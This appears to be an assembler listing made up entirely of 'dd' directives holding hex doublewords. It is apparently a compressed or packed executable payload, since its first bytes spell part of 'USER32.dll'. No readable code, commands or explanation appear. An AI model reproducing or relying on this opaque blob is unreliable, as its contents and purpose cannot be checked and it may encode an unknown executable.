		dd 551491F5h, 52455300h, 642E3233h, 41C0E36Ch, 23567344h
		dd 4E8F4950h, 354CCE54h, 0E001430Ah, 0C0094FE9h, 0A1BE680Ah
		dd 89F40612h, 0FDFDDF2Eh, 15A2500Ch, 8C22847Fh,	117542A3h
		dd 6B21A4ABh, 90A50808h, 0A61C8461h, 96445748h,	0E02E4D22h
		dd 1AA11D60h, 7F3B0172h, 0A41851F8h, 7935E015h,	0F4E0207h
		dd 23C0AD9Bh, 0F0864281h, 7435C05Eh, 4DF68539h,	0D7A980h
		dd 0DEDD6ED4h, 0A329866Bh, 3CBD150Eh, 0C102A09Dh, 7551D5h
		dd 2033B05Bh, 57D367FCh, 0EB68500h, 192142CEh, 584A030Ch
		dd 0CFAC887Ch, 303F2C80h, 0D1273603h, 0A0BA8FD3h, 0DD044Ch
		dd 2AE158B2h, 6E85D8F5h, 98936D00h, 47E910C7h, 0F03005Fh
		dd 792D13A2h, 0CE00523Eh, 0E331D8F2h, 0E7DF8DDh, 0CBB5C7A3h
		dd 0CD4CF640h, 0A8007E38h, 7B24AFCCh, 39246h, 0B2C2275Ch
		dd 9CA011A6h, 0C11F8812h, 740730FCh, 0B01B8FD2h, 0AA31ADE4h
		dd 0ECA030Fh, 33A70387h, 0DC180A4h, 71E3001Fh, 4DCC80BFh
		dd 0DF005B9Ch, 0C377B258h, 5568B34h, 1615E7E2h,	489E4EACh
		dd 4D7E140h, 74002061h,	5B77B055h, 30EB57Eh, 41D82DD9h
		dd 29B84DFFh, 1A075539h, 132F0D35h, 0F11B5270h,	0AB6700FAh
		dd 5EB09DAFh, 83000127h, 93F2D4FDh, 70645176h, 65DB1EE6h
		dd 2DF5804Bh, 0B3865A6Fh, 2BDE0F01h, 94213397h,	0B558ECh
		dd 0C0A48074h, 492D6209h, 60069500h, 0B15A7125h, 5BCF017Ch
		dd 554A0858h, 502FD541h, 0ED30E292h, 42EA7100h,	21C84F0Bh
		dd 0E5743CE8h, 0D2490500h, 7D6BDF1Eh, 31D30100h, 0EBF36F2h
		dd 8A1100CDh, 0A635A9E4h, 1407C8FDh, 0DE642719h, 0B9360018h
		dd 447932F3h, 92395003h, 904A835Dh, 75D4EFh, 100EEB0Bh
		dd 3EBB5A69h, 6AE47302h, 494C5333h, 3F8EB9C9h, 33D0288h
		dd 0D96DCC7Ch, 0E441FDD8h, 0F406D502h, 40EF6E35h, 2C0856h
		dd 0B2E38752h, 23F04BF7h, 3CE49400h, 5D151105h,	0A220300Bh
		dd 0AE64219h, 5F014B75h, 1793AFB3h, 0C3D4EAA0h,	7B840069h
		dd 26F9D849h, 0D7279267h, 25530696h, 412A0097h,	604B4627h
		dd 9CC7BAE2h, 9B02602h,	30AE5D89h, 0F0166814h, 7B005074h
		dd 8ABCB18Bh, 20D5B6h, 0D62744BDh, 89C29C3Fh, 239B3002h
		dd 48A0B4C8h, 0DC0D6D7Ah, 2BD44FD8h, 79300A00h,	2D8093C9h
		dd 96150331h, 68CCB8EDh, 0B9E88FDBh, 0E134F02h,	4B00FE62h
		dd 54083DE6h, 0FDE83EEFh, 503FB430h, 2490F0D4h,	1573690Ah
		dd 3B00919Eh, 0E38FCA80h, 966A007Fh, 0FF40F168h, 3A000F13h
		dd 0B892CD81h, 71B4E01h, 1132D270h, 1A36309Eh, 0ED000A66h
		dd 13CF269h, 0CD7615h, 59353398h, 2BFB4038h, 60F3BA2Dh
		dd 9004A6DBh, 0D68E1FBEh, 0F5AC479Fh, 807907BCh, 0F2962599h
		dd 11F7B31Fh, 0A6E58702h, 2526B32h, 219DD834h, 210FF19Ah
		dd 0DFCA7833h, 212A3C20h, 0C848E7ADh, 57817C90h, 0C09F20A7h
		dd 4C00F3C6h, 0F2076B17h, 0C07E9039h, 30C74126h, 440A5098h
		dd 0B17FC071h, 0DC80B31Ch, 336BB710h, 0B04AF2h,	0A9D758D1h
		dd 3F767E32h, 0A6BEA60h, 93D073h, 6A219AAFh, 0FEEF4135h
		dd 5B0F0400h, 7C2411A9h, 34CFC45h, 0AFC11AB9h, 0EDE3FCh
		dd 0AB1FFBFCh, 1300BF56h, 35C01993h, 390F33EEh,	4E00233Dh
		dd 943C25F4h, 37001410h, 0C47EB4Ch, 117139Eh, 92D37645h
		dd 0F85582DEh, 7B000729h, 1214E9ABh, 77FFA43h, 681B9E2Ch
		dd 26E150C9h, 0C1273F8Bh, 0BB56149h, 2B70F60h, 9C6BC3B6h
		dd 0F0600CD9h, 0B4078C2Bh, 4420D40Dh, 0C65B4E20h, 0E0B4C067h
		dd 951AC184h, 0FCC3D4Ch, 5C568594h, 0EA17D0C0h,	0F26E47h
		dd 0B922B1FEh, 0C42CE4A7h
		dd 817DF93Ah, 3CE37688h, 1BE85307h, 918100E6h, 0BFA010AFh
		dd 0D45DFEE7h, 80873B22h, 0FBB128A4h, 0F9108C4h, 0B027A3DCh
		dd 8B0ABE00h, 1E3E9AD9h, 0FAAE0028h, 0D578FFBBh, 0A1180194h
		dd 7FF6B2EDh, 34FA20C8h, 0E1614809h, 51F00D8h, 25C1CA8h
		dd 5D4C1EBDh, 0D5609C16h, 0B93F708Eh, 48BA4C09h, 0A65C0099h
		dd 8529B0CAh, 78E034Ah,	5D7C2863h, 30CCF1E7h, 7EB83077h
		dd 80ED3DF0h, 45882ABBh, 245A1289h, 7E9A723h, 8B0D8C40h
		dd 3776DA20h, 0BF88583h, 9E3D5978h, 0F65917h, 1E9D114Ch
		dd 0A07C3065h, 6146FC8Eh, 419EBAD9h, 27C217Bh, 4148E7C8h
		dd 59079038h, 5DD9C9ADh, 550E8DE1h, 10405A61h, 5D2FBDFh
		dd 9031B122h, 0F4AE80FEh, 3CC13457h, 0EE448883h, 0BAB6CB30h
		dd 0D24E092Fh, 0A101AF53h, 2CFD31F1h, 0B852D8h,	75875463h
		dd 8822A08Bh, 662C5DC2h, 111D7A08h, 20B18A5Eh, 1A2080AFh
		dd 213B0037h, 0A3B22A2Ch, 0CE00C201h, 48546552h, 7EB96Dh
		dd 3BD18562h, 0A231B815h, 26273900h, 0BDED0166h, 0CA9F033Fh
		dd 486EF3B6h, 14E5258h,	296207D2h, 1C208354h, 7CF0ABh
		dd 0D00BBF7Ah, 904B6AFBh, 9ACBBE03h, 903624C1h,	675C48h
		dd 0BA718B50h, 2C348A7Ah, 0BB41F83Ch, 2309004Bh, 193D0227h
		dd 0E23E0044h, 6F9A5108h, 610306BCh, 0E7DE2874h, 0CAEABB45h
		dd 93EAE052h, 0C71DC02Fh, 0FD34EC6Bh, 0AC53E007h, 0A70D277h
		dd 167AF65Dh, 0C06339AAh, 317416A3h, 46FE7D17h,	651CF002h
		dd 8637412Ch, 9062EF64h, 45C10020h, 82367517h, 109252F3h
		dd 0B12D6801h, 904C812Ah, 24E8EF70h, 414DA5Ah, 8857DDBAh
		dd 0D6028D71h, 0F5B4CCA1h, 62764884h, 0A9191010h, 0D14D1F23h
		dd 3605DB80h, 18A05491h, 1F6DD5C4h, 0D318AD89h,	8A116AD8h
		dd 1EC908Eh, 0F2986E14h, 811F9BB7h, 13CCCB0Bh, 48ED79DEh
		dd 4A198E20h, 0C365B10Dh, 0D0EA5587h, 9C5FCCCh,	0A2DB9209h
		dd 0DB730826h, 7D88C0Bh, 0A9C2270Eh, 853AE007h,	60FD92E4h
		dd 9ED325FAh, 909A3F2Ah, 9310F5C2h, 0DCE2C009h,	0B483007Eh
		dd 772DAC6Ch, 7935440h,	7419A001h, 4F70473Bh, 5A642815h
		dd 17ED988Ah, 0DE8554h,	984DD079h, 590151F1h, 0B9B59422h
		dd 48CC39Dh, 9A177AC8h,	2A9BE0Ch, 79AE1156h, 25C701B2h
		dd 21983AE6h, 27E4206Fh, 353947FCh, 0CC76184Bh,	5CAF612Fh
		dd 0C736EB70h, 643D17B6h, 0EA240367h, 49833Fh, 0E2076314h
		dd 0E502855Ah, 4D393500h, 92C168F3h, 8A2B3097h,	734FCB26h
		dd 0C6A37F00h, 7521560Dh, 507D0053h, 9996A9C1h,	0C00CB22h
		dd 96D1958h, 7DC067F4h,	0E82C3095h, 886CC842h, 9E45D400h
		dd 7501BD69h, 4A1101EFh, 0B7BB67A6h, 0C362E8A2h, 73E71C01h
		dd 0EB47789h, 8AE63F80h, 28DC17CBh, 0A42F4C00h,	0BBDAC6FBh
		dd 0D6CA0009h, 5CAE9F81h, 840103C2h, 558A4121h,	5020C5A1h
		dd 7E5817F7h, 9FF4760h,	25C4732Dh, 1435A4Ch, 0C8F3AC27h
		dd 178961E1h, 5340A985h, 0FA31B1E6h, 0B0AC1948h, 0CCE0FCh
		dd 0C4BFDC8h, 95CA8118h, 45EAE100h, 0D1701308h,	0B2913BEBh
		dd 845E1203h, 4283ABE0h, 0C6A24509h, 56DA00AAh,	2CB153E2h
		dd 43017E72h, 0BF91946Ah, 0E32F8003h, 0DF1AD087h, 92F7433h
		dd 994BEA89h, 4A2445A0h, 2DC7E35Fh, 41EE2703h, 0C2802B55h
		dd 91817B8h, 15D0DB9h, 0D57A1100h, 6C88EC98h, 50C71D8Fh
		dd 38ED4197h, 80AA18FFh, 6549152Dh, 5866C412h, 0D11DB19Ch
		dd 1400381Bh, 0B503A345h, 120BA14Dh, 20F9B273h,	0F1A5DAA6h
		dd 3BC007Fh, 0ED5EE9CEh, 0CDE49301h, 8004B058h,	6C1F411Bh
		dd 0B74601D6h, 3B69F92Ch, 255AC8EAh, 0B0566D00h, 0C1A58175h
		dd 2766000Ah, 41E2F77Bh, 0DC4883A2h, 374903F5h,	0C1CE74h
		dd 6EAD5F42h, 72EE9E82h, 25DE5500h, 28AF04F0h, 0F29900B3h
		dd 2687BB49h, 0ED3961BDh, 843E0013h, 6056A7CFh,	96E70304h
		dd 1FA3667Fh, 7BF71704h, 318007BCh, 764765Ah, 0E4EF2FD5h
		dd 4526D05Eh, 4AB8223Eh, 82803F8h, 5C58FC55h, 68500F1h
		dd 9DDA8D5Dh, 4A69E8E9h, 11702097h, 0AB1ED86Ah,	0E04B5894h
		dd 3A5B900Bh, 0CA5006Bh, 0F0962713h, 0CA00C1B5h, 0C336EA23h
		dd 907745DCh, 0BD641E7Fh, 578E8006h, 8F38BF7Bh,	0D4A65A00h
		dd 47246305h, 9AD7018Ch, 1857F9C0h, 0A044C443h,	16B56100h
		dd 0C413570h, 0F4D81777h, 11940A42h, 76524BEh, 605C04DAh
		dd 0FCD1F571h, 0CB34209h, 0F2E38FD7h, 9FBCAC03h, 0D3D59810h
		dd 9267248Bh, 0A423163Fh, 220040ADh, 0C6333534h, 0C80F9F2Ch
		dd 0B240B2Ch, 4F13E0A4h, 0B58F0B00h, 279A215Fh,	4A80B9F4h
		dd 8032723Ah, 52493D00h, 19B06499h, 1246F875h, 905D9E4Fh
		dd 90345398h, 26A55109h, 94DB4081h, 0B8FB85Bh, 0CF554178h
		dd 3F076F57h, 3E570CA7h, 682CC225h, 725E65C3h, 0F7F12064h
		dd 54C9E17Ch, 579695D1h, 0E6D4A5E0h, 8F4A269Ah,	0BFA83D14h
		dd 0F2D69809h, 0EE36D25Fh, 709A578Bh, 0E02F73FDh, 0D646E95Ch
		dd 0BD06B5B8h, 0A9A4B8B7h, 0C5033DB0h, 22E4E000h, 26434175h
		dd 44614600h, 0F1189B66h, 39D90C74h, 0C65306E8h, 84D2451Eh
		dd 0BE9DC8Ah, 979F3000h, 0F623B1h, 32BB665Eh, 4EC681FAh
		dd 0E9227163h, 0E2D0014h, 5A170912h, 4800C00Ch,	1F276A3Eh
		dd 3EB81437h, 0FE3FD82Fh, 0CC9DFC4Bh, 7F10B0Bh,	23F479A5h
		dd 4BE7008Bh, 583C7E6Ch, 87D02866h, 0E381060Fh,	4F68780h
		dd 0A9E0F760h, 0F2A0F60h, 0EFE0D9B7h, 1A6421F8h, 4BA0E8F6h
		dd 0FC001B7Ch, 338CB136h, 9953A5h, 0D1212DEEh, 0DFAF9E9Ah
		dd 0BE25F500h, 3436B7DCh, 8F0F275Fh, 0CA8BF9C8h, 0C2706160h
		dd 3174E2E3h, 21D0AE9h,	0C4D1E865h, 69738907h, 0AC5C52D3h
		dd 8B5A1250h, 0F3343DAh, 3500088Ah, 15C18156h, 777F6878h
		dd 0C0F82559h, 0F06C7DEh, 77292285h, 0F8805260h, 12B86605h
		dd 61884311h, 1B1D36E9h, 78C06427h, 51DD6253h, 1856EA8Ch
		dd 44760F6Ah, 0C98B0381h, 0E1C8D6BFh, 2A19333Bh, 78724F46h
		dd 43839900h, 54D275D5h, 0DEBA030Ch, 7BA00166h,	0F75A98D0h
		dd 38C31F05h, 0F11CA526h, 0B913C9C1h, 91FFA737h, 0ACF0A1ABh
		dd 4D923127h, 0E340A508h, 0CF0A4EF9h, 213ABCEBh, 0F6E0C13h
		dd 5251171h, 26315B14h,	0BC1C0122h, 873E9269h, 5A56DA11h
		dd 0EA4DFA2h, 679D03D7h, 1101BBC3h, 2576202Ch, 0AC002E21h
		dd 9C10648Dh, 0A48C2485h, 0BA814648h, 0DB602C11h, 385021A5h
		dd 5010F81Eh, 1DF3E88h,	5C553A85h, 0EDD5763Ch, 5AC8407Ch
		dd 0B100BB97h, 1A29BC28h, 31ABEF19h, 7E103981h,	0CC68C142h
		dd 2A002D12h, 0E25C9E41h, 3DD1D513h, 0AE00440Bh, 520821B4h
		dd 0FCF8A736h, 0CF28AF78h, 0C100ACBAh, 46943B6h, 1E727548h
		dd 266199h, 68424676h, 787C7F63h, 14AC9E28h, 2C11703Eh
		dd 0A100346Bh, 8B39AFECh, 0A350C7B0h, 78BEE629h, 0AAC9A63Ch
		dd 110AE0B1h, 0C397382Fh, 9BACE830h, 7B6A39ADh,	0A792E485h
		dd 2598012Bh, 802401ABh, 0B1B73EE0h, 15CAADFh, 7263F597h
		dd 40D1A32Bh, 4EA529D6h, 6877BF14h, 0DCA0F120h,	260A0218h
		dd 0D0ABC26Bh, 0F87C4C80h, 0C7A2570h, 6A2D5E41h, 21DDB308h
		dd 0A2F874C0h, 0D53457h, 0F77C0DE7h, 0B1E5F9DAh, 0C32180A8h
		dd 101C8940h, 245B0B2Eh, 7D044466h, 4540BB0Eh, 327FEB73h
		dd 2A1940FCh, 56089E3Ah, 6B7A2180h, 0A3905BEBh,	0A0130918h
		dd 59D8F48h, 0F670D254h
		dd 29F441B1h, 2019F59Ch, 9D247A80h, 3A806459h, 0A36FE577h
		dd 0A14A0C68h, 300860DBh, 7F9D21C1h, 9CF4CBE5h,	84E407A4h
		dd 148F1CB7h, 25409035h, 365459B3h, 5A7ADFA0h, 0F0F603F9h
		dd 9891E4EBh, 767C2817h, 0B3A544A4h, 3D493B00h,	8CA4DA9Dh
		dd 0F3AD00D8h, 1758A774h, 7F500D7Ah, 0C0D425C0h, 0BFDF1014h
		dd 18039C50h, 105D2321h, 0DC91A00Fh, 36030935h,	18A4B3A7h
		dd 81706F11h, 3041847Ah, 718FFBF0h, 5D63008Eh, 0DB81C83Ch
		dd 3A037050h, 310D7304h, 0AD74B84Ah, 0A03E1960h, 0E00E4077h
		dd 0D70C7CEDh, 0B07BD0A4h, 72CA0933h, 280A307Eh, 69D58108h
		dd 0F05DD627h, 0A8A92392h, 0DC0EE543h, 7A0150A4h, 1A22DE8Fh
		dd 34205912h, 751D073Ah, 842A4748h, 7F088225h, 41EBF833h
		dd 22564632h, 6D640054h, 8F760EEBh, 0F112AFF6h,	3400B6B7h
		dd 5B812242h, 5A2D0FB5h, 4564A041h, 88088E6Ch, 0B3B0C331h
		dd 53157898h, 0BC574505h, 0EC45B4DDh, 0B0403585h, 4D46E011h
		dd 97833BC4h, 539B16h, 54FC223Fh, 8C1F3B37h, 0ABC03925h
		dd 3A29BA86h, 0BE9407F8h, 0A77C246Ch, 10A27006h, 81C0209Dh
		dd 0CBD07885h, 0EB813BD7h, 87800681h, 3040363Dh, 464CF32Ch
		dd 3103045Ch, 1080515Bh, 19A394E2h, 10BB7F21h, 0E1B83167h
		dd 0E80A0424h, 0DC00ECFCh, 0B32305C9h, 0A00A4D6Dh, 0AD89723Eh
		dd 4CA2BB39h, 5BC23C73h, 3AF5B820h, 0E50764A6h,	20F0CBA9h
		dd 976CAAE0h, 77B90061h, 0EAD37AD5h, 28E44EA4h,	7C0FCE26h
		dd 40F87B94h, 48C7CF0h,	327EEB72h, 2057629Eh, 53EB6A65h
		dd 23169003h, 1E2CC5DBh, 0C0BF1DA8h, 0A77AC17Dh, 31CEABB4h
		dd 9C559Dh, 59719499h, 39FA6830h, 6700AD14h, 7675CA90h
		dd 72007B05h, 405E2587h, 7BEE0FDh, 6BA48C73h, 80E8BA84h
		dd 72196247h, 889078AFh, 308CA849h, 6A682103h, 0A6623F19h
		dd 4A549F03h, 878C0465h, 422544h, 8C93A1CCh, 9067A0BBh
		dd 27F4C360h, 0BD427B00h, 94F60CD9h, 0F4AB4024h, 80406C14h
		dd 0AF77196Fh, 10E18C30h, 191769h, 0A214012Ch, 973DB1EFh
		dd 489833E4h, 10020FF8h, 0D1EC942h, 398C6870h, 1A912AFh
		dd 0A84408CFh, 0FF8DBC80h, 19414B5h, 4593038Eh,	50BE0F3Bh
		dd 925DA3ACh, 36B58100h, 17258EB6h, 0E5F4121Ch,	0B7280B64h
		dd 8FD19C21h, 0C09A02B1h, 805B73E8h, 0AE60A1BCh, 9DDCA3F9h
		dd 8DE4A007h, 3A843072h, 0DA1358D1h, 3493700h, 91AD9F1Ah
		dd 3E220027h, 68E86114h, 0C10978F0h, 846A6D1Fh,	495FA078h
		dd 1488E4A1h, 9043BE8h,	806D61F1h, 0B9ACAD38h, 1C0B49h
		dd 0CD673A73h, 39767A6Ah, 7CCCE6F7h, 0F0A11067h, 0BC2B91DBh
		dd 870C0B04h, 74C37262h, 4958013Ah, 0F6F941Fh, 977980B2h
		dd 2FC10F1h, 81DE005Fh,	0A70CA6E9h, 3612FF85h, 7C0034DCh
		dd 2F92C225h, 40584CE6h, 5E348D24h, 0D4093B46h,	140891D7h
		dd 3F465C20h, 71737900h, 658E7447h, 0A080DB02h,	0A0A1DDBFh
		dd 2590D5CCh, 0A77207AAh, 426D3E70h, 0BC405480h, 18B9377Dh
		dd 0D24F08h, 92B086D7h,	25E67654h, 7EFAC40h, 0CB0CC94Eh
		dd 0FF0B102Fh, 0EB09C3E0h, 0AFA16C1Ch, 0BFD6A15Ch, 0B8743788h
		dd 182449D8h, 3AC4B2Ah,	0B35B72B6h, 7809267Dh, 49AD7392h
		dd 0E0367868h, 6DE57507h, 32C4B8A3h, 0E57D9B40h, 980315FAh
		dd 2D7C29C2h, 91EDE80Ch, 9CEC4CADh, 2EABD310h, 4674486Eh
		dd 820370ADh, 9C076A02h, 0AA79005Dh, 6150EE39h,	0AFF6E533h
		dd 0CC010524h, 0CF887601h, 0A060C67Ah, 20EE4AD3h, 31097858h
		dd 90A57330h, 4C33D650h, 4201244Dh, 8F5A9F37h, 9501300Ch
		dd 574730Eh, 0B80FA6A1h, 0EF610091h, 86119DECh,	3C0966E3h
		dd 89B71A37h, 22002078h, 0A1B075FDh, 741877A4h,	0A36CE508h
		dd 4033C460h, 55E57C9Ah, 8D403C0Bh, 0DB97E982h,	0D0A62E2Dh
		dd 0C3002921h, 625FCE02h, 0BDCB6BFh, 3998B594h,	461949Ah
		dd 0C0302816h, 2577F843h, 0C3404292h, 0F8F87B61h, 0AED5BBh
		dd 8091883Bh, 0A053D1A1h, 7C0178B1h, 0C32B1F23h, 3003432h
		dd 8DC4A184h, 0A6F814A9h, 0DE5419C0h, 0BBF12Bh,	0C8F629C1h
		dd 775C6513h, 48C0DA7Ch, 0ABEA8F1Eh, 344D24A4h,	95CB407Ch
		dd 230C5C54h, 182BC9BBh, 0F95B6ACDh, 7FF4002Ch,	3D059765h
		dd 2C89DF18h, 0CE723F0h, 3F458FB3h, 601E611h, 3B1E92A1h
		dd 16CF3997h, 39CAC18h,	0A4BB2908h, 3127D800h, 30757C33h
		dd 96D5771Ah, 21B002F0h, 0A043BB07h, 0CD620988h, 0EB842850h
		dd 0A5747103h, 1ACAFC9h, 39105A20h, 4ED46915h, 0F6031120h
		dd 0AB3E2F81h, 0E6900BCh, 83CB01A1h, 0C3E4AD76h, 4038C2h
		dd 4E06917Bh, 0A871Fh, 1279487Fh, 1B8F7844h, 195F8F1h
		dd 8E6B5A1Dh, 6F031E3Fh, 967403FCh, 0E910450Ah,	26D0430Dh
		dd 1421478h, 7101C585h,	56DA57Ah, 0B43F090h, 491E8B0Eh
		dd 4806E001h, 5C1F8F1Bh, 3847E444h, 1E1A9E1Eh, 18523A36h
		dd 81E63A3h, 85187B30h,	139E61B0h, 674E1Dh, 911A6AB4h
		dd 6600631Bh, 7481526h,	786F7F85h, 352F470h, 647D9A05h
		dd 0D10F6CACh, 66E1671h, 9239357Bh, 42757C4h, 56F3928Fh
		dd 5EE002C8h, 507028C8h, 34DB0E00h, 0AB396AA7h,	0DC88582Eh
		dd 40421513h, 0BB97DA8Ch, 18C48960h, 0D0823313h, 5B08844Ch
		dd 0DF3EBC80h, 0E0D44CF9h, 0F1E17C0Ah, 902F282Ch, 19A8AABFh
		dd 88A3660Ch, 0A1B38C0Ch, 7890E630h, 58D8547Ah,	888970A0h
		dd 803121A7h, 1D7740CAh, 0CC259824h, 8D596A40h,	78A7A02Ah
		dd 5013773Bh, 7E879F58h, 10BFF743h, 8AEFD6A2h, 0A475B0D2h
		dd 0A2AD1DC4h, 6821322Ch, 0A409A143h, 0FBA6C8D0h, 4C257166h
		dd 847CD4F8h, 0A3DEBC12h, 8323E447h, 10805D45h,	3A7D1938h
		dd 2814BBAFh, 12740CA3h, 4F2D2025h, 5B24AEFCh, 0D9B8C0AFh
		dd 323A7AEBh, 7CE44C59h, 0ABE217F9h, 301468B3h,	2B58A1B7h
		dd 9DFEDC65h, 2761164h,	21AF0D19h, 0BC8CA812h, 0B8905A10h
		dd 8E183621h, 2A8FA7B1h, 14F060AFh, 0F83E2A02h,	0A08C7CC2h
		dd 5C4130E2h, 48200905h, 0AF8C8870h, 0C1474130h, 0A62F39A3h
		dd 1A32458Ch, 0FB8880E4h, 99AB257Ah, 5098327Ch,	3221B310h
		dd 491DAB4h, 0E11840DAh, 40519ED1h, 88B453A0h, 13E06A31h
		dd 5564205Ah, 0D1D52984h, 97E21D94h, 0CD4543Fh,	0C851B310h
		dd 4680A1B8h, 0C8C996Ch, 8C2B3928h, 4E50D16h, 5E85042Ah
		dd 15883339h, 406CE04Ch, 29843EF4h, 31948F8Ch, 253B4140h
		dd 50506660h, 148A2628h, 999A6880h, 0A129CF0Ch,	86EB00E0h
		dd 23FC0C99h, 4CEBD54Ch, 0B8A8A1B8h, 64802814h,	850C99D1h
		dd 34E15F39h, 3DA29C5Ah, 37EF443Dh, 0A0AB8C2Ah,	212C24E4h
		dd 0CE31EC39h, 2E1D0845h, 7488D825h, 61796A10h,	0CAD4F850h
		dd 1AB0828Fh, 50D2ABA4h, 6FA8E453h, 2C858681h, 0D8EA5379h
		dd 5856DC5Dh, 934C23CAh, 0C42C3FF8h, 0B16B88CAh, 0E01BCAEAh
		dd 50FF21E8h, 3868944Bh, 0FE132904h, 7B0407D9h,	4788C846h
		dd 21B00AA2h, 4830AFCCh, 86B71D75h, 3E70D59Bh, 3B445E87h
		dd 9C02B541h, 30E92566h, 95AB5B3Ch, 0E891D547h,	0E043C47h
		dd 792C9FBCh, 3C70D854h, 475FE3FAh, 616B8BECh, 48DEC2C4h
		dd 0EE7A1Ch, 5161EFABh,	1015D59Ch, 1175F900h, 4ED6D3FAh
		dd 0E106009Eh, 71FBA2A7h, 2505ED23h, 0A486E519h, 806E24E1h
		dd 0D56279FEh, 3A3C501Fh, 0C7B7B1C0h, 787602h, 65F5DB07h
		dd 102D73E2h, 52FF7F03h
		dd 0C0D1307Ch, 9C55DE8h, 2B9266D6h, 0E4640020h,	9601DF01h
		dd 0A8B9139Ch, 0ABD0B4D1h, 60B7EE41h, 14F38E8h,	32003F03h
		dd 2589BB0Eh, 307A55E2h, 5A49A3BCh, 5E000C2Dh, 0B18C1BB5h
		dd 34CEADBh, 7702492Ch,	29002A9Dh, 80A0B9E0h, 229C5Fh
		dd 39F4218h, 0C03DDE13h, 7572CB00h, 0CC3682A7h,	258F09E1h
		dd 28A55321h, 15244087h, 0A0884007h, 5F07A67Ah,	0FDE7BBDFh
		dd 174019C7h, 0C04D857Bh, 52DE0639h, 5F0E2876h,	4002DC2Ch
		dd 9D0369A7h, 6B538CAh,	0FEFA189h, 0E1970881h, 0D9C52054h
		dd 5E812603h, 0E8A21D88h, 0BE76EFh, 22AE438Dh, 5A558AFCh
		dd 0A1F8F00h, 250664Fh,	58621F7Fh, 54BE0378h, 55C07D27h
		dd 7A007937h, 7E7C4FEDh, 147F3123h, 140C6675h, 46C157A3h
		dd 4930837Bh, 0E03D5C67h, 8037517Eh, 450F0221h,	60255076h
		dd 554E378h, 38591862h,	4330904Eh, 18E27237h, 4D255540h
		dd 215F0E7Ch, 809B644Eh, 3C37283Ah, 490E9D73h, 4F265203h
		dd 46780D72h, 0CC31547Eh, 59DF4927h, 0C5D704Ah,	0A054EC62h
		dd 78420B84h, 4A090550h, 265C75h, 45032188h, 29C0ED71h
		dd 0FA972BECh, 5C5B3CABh, 20D0FF0Ch, 19051D49h,	992A5586h
		dd 0D6B61800h, 0FEA2FFh, 23679D56h, 72C3F655h, 8E3E6603h
		dd 0A06EE440h, 7E2ED2A6h, 0DF29039Fh, 5C5A2CB5h, 0EB54BDE0h
		dd 0BBE51A24h, 0D1FDA503h, 9D710038h, 25CE133Fh, 8E80EA18h
		dd 0C15746Dh, 5952709Eh, 0DA011728h, 0DEAFED4Eh, 0FC01F391h
		dd 6CA1940Fh, 79AA2218h, 68AF64D4h, 0F7FC215Ch,	83373183h
		dd 18318EF8h, 98DF59DBh, 0ABCE22E2h, 15E40F09h,	610D2040h
		dd 2C0F29C9h, 0F6B898AAh, 6595D559h, 218C3058h,	41DAC3A8h
		dd 0A8622Ch, 7E41E779h,	0C2560CCDh, 8220F4B8h, 9155A905h
		dd 0D008F695h, 3121C48Fh, 0B318477Eh, 49632E7Fh, 1DE9E731h
		dd 18F9F3B9h, 0C0D968CAh, 2819ED79h, 9AC8EC99h,	0C776C610h
		dd 55DC43E9h, 0A7EBF106h, 1931DC08h, 185B80D4h,	24C51ABh
		dd 545840AEh, 0F8600325h, 13D6B791h, 56FC3790h,	1119C039h
		dd 86F7D5A6h, 84808C30h, 4C595418h, 58FF5173h, 1A9E813h
		dd 68DF9791h, 0BE5C44EDh, 7EC20539h, 0A421A0E7h, 0C90AF204h
		dd 0C474362Fh, 2CE8A7B8h, 644284DDh, 0C018A0E2h, 10148C06h
		dd 2128CBA6h, 0CE425C3Ch, 0FC8FD410h, 88104244h, 0A8514FE0h
		dd 88F842D4h, 0A8714FF2h, 9FF442E0h, 0A8DC1161h, 881C4240h
		dd 6A744481h, 0A21E7810h, 1A0C11B4h, 841FD19Dh,	5CC8F2FCh
		dd 226C9A2Ah, 8C9123D0h, 31F0DF0Ch, 0F34D24C2h,	0E1A14060h
		dd 61D252DAh, 11848C14h, 10258D1h, 125D7BDCh, 10F2C27Fh
		dd 266D370Ch, 98BC41DAh, 0B59A6187h, 29DF4414h,	0A4DE8208h
		dd 268C6CEEh, 61D0FA03h, 42719E3Ah, 5084FD74h, 0CCBCC8C3h
		dd 0FB31ED67h, 88FE405Ch, 0A029BB1Bh, 0D50AA008h, 0F06A98A3h
		dd 3464496Ch, 0C121FDB0h, 67FCCFA1h, 46AE1070h,	0E27B8878h
		dd 0B491C32Ah, 0B31B205h, 0A0807144h, 323763Ah,	0D784E03h
		dd 52A0480Fh, 0B100490Ch, 9D7E3268h, 1F7B69F9h,	4A567Ah
		dd 3A372348h, 0B055573h, 222AF4Eh, 360D08C1h, 28B07BD1h
		dd 73450E11h, 7F5C0AF8h, 3A007910h, 7E372048h, 0F13354AFh
		dd 0F251870h, 3856674Eh, 80237F07h, 0F52757Dh, 0D100045Ch
		dd 6BACAF04h, 7F383C12h, 421B400h, 0A5366549h, 0C58D8C18h
		dd 19131C11h, 240070D6h, 6ADC0237h, 0D5B006D1h,	18418A08h
		dd 8FD7793Bh, 8556FD4Dh, 2CC855DFh, 18B71329h, 52F40FE0h
		dd 806A8505h, 921A231Ch, 0D409F674h, 46CFAEB5h,	0BEEA8Ch
		dd 2945DEA6h, 0A0E482D1h, 76D9BF05h, 0E0C039B7h, 128B426Bh
		dd 9B962C5Fh, 8F507BC8h, 0ED187D40h, 40D9DA0Ch,	0AA5A3A85h
		dd 2428EF78h, 0C007AC18h, 7CA49278h, 6C024702h,	3CF788F1h
		dd 97FF7E07h, 0A780FEB4h, 98EA9D10h, 6D68C1E4h,	17CBD67h
		dd 7601013Dh, 8F890EAh,	0A810985Ch, 18A73EC1h, 0EF40C94Fh
		dd 9050C685h, 0A44A7820h, 0F8BF6045h, 8268C28h,	8F1A243Bh
		dd 0B8086DBh, 0B6EAF2B0h, 88C26804h, 707B5700h,	0F51C240Bh
		dd 0A194108Dh, 0EBDA02C2h, 6EEF5A41h, 0ABEDDFC0h, 485089CAh
		dd 4EFC0932h, 64144828h, 9E430AFh, 7CCD35AEh, 9C8E00FFh
		dd 84924AB9h, 3B01EF38h, 49035553h, 45E45EAFh, 0B231E66h
		dd 62511647h, 50C16578h, 615FC548h, 100DF054h, 9E852F6h
		dd 56634500h, 0FA90274Ch, 44A670h, 0C9A02D19h, 75724C52h
		dd 0F045353h, 95646CB7h, 7089010h, 55624318h, 30AA94C8h
		dd 269F68C5h, 83432008h, 823E8858h, 0D2A04029h,	9294E424h
		dd 1099C4CCh, 90084C3Eh, 98125589h, 486730B6h, 104A7C59h
